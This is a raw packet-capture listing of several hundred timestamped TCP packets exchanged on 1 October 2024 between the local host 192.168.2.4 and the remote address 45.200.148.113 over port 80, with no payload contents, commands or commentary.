Oct 1, 2024 07:51:17.428709030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428739071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512011051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512029886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512042046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512054920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512096882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512104988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512116909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512130022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512139082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512140989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512160063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512181044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512227058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512238026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512248993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512283087 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512300014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512371063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512382030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512393951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512403965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512414932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512424946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512428999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512473106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512487888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512631893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512645960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512656927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512667894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512675047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512680054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512693882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512727022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512885094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512897015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512911081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512927055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512937069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512943029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512947083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.512954950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.512985945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513144016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513154030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513170004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513179064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513180017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513191938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513202906 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513204098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513230085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513252974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513376951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513473988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513485909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513494968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513505936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513511896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513518095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513529062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513540983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513546944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513567924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513582945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513720989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513731956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513758898 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513792038 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513842106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513853073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513864040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513875008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513885975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513895035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513896942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513906956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513917923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.513927937 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513942957 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.513955116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.514399052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514410973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514420033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514430046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514441013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514456987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514467001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514475107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.514477015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514488935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514498949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514508963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514516115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.514519930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514530897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514539003 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.514540911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514552116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514559984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.514561892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514573097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514575005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.514584064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514585972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.514594078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.514627934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.514651060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515130043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515141964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515152931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515163898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515173912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515182972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515191078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515197992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515222073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515239000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515414953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515427113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515438080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515449047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515456915 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515470982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515495062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515548944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515559912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515569925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515585899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515589952 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515597105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515607119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515618086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515621901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515628099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515639067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515646935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515650034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515661001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515671015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515671015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515681982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515688896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515698910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515706062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.515708923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.515739918 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.516519070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516530991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516541004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516551018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516561031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516563892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.516571999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516582012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516592026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516602993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516613007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516618013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.516624928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516634941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516644001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516652107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.516654968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516664982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516670942 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.516675949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516685963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516686916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.516695976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516702890 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.516706944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.516721010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.516746998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.600676060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600692987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600704908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600717068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600792885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600805044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600833893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.600882053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.600922108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600933075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600943089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600951910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600963116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600970030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.600974083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.600997925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601016045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601144075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601177931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601191044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601202011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601223946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601243973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601345062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601356030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601366043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601377010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601387978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601388931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601422071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601540089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601551056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601561069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601572037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601583958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601604939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601672888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601769924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601785898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601795912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601805925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601807117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601816893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601829052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601838112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601840973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601849079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601857901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601869106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601874113 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601881027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.601896048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.601919889 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602190018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602200031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602236032 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602350950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602361917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602372885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602385044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602385998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602395058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602406025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602416039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602418900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602426052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602447987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602485895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602657080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602673054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602689981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602701902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602710009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602714062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602735043 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602750063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.602900028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602968931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.602981091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603004932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603029966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603080988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603092909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603105068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603123903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603151083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603230000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603240967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603250980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603302002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603328943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603364944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603373051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603390932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603404045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603410006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603420973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603429079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603431940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603444099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603455067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603457928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603487968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603771925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603782892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603795052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603801966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603806019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603816986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603827000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603827953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603857040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603857040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603868008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603878975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603887081 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603889942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603899956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603910923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603919983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603920937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603931904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603945017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.603949070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603965998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.603996992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.604621887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604631901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604641914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604652882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604660034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.604662895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604674101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604684114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604686022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.604695082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604703903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.604706049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604716063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604722023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.604727983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604738951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604743004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.604748964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.604759932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.604788065 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605283976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605295897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605304956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605315924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605325937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605336905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605338097 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605348110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605359077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.605364084 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.605370045 CEST	80	49732	45.200.148.113	192.168.2.4
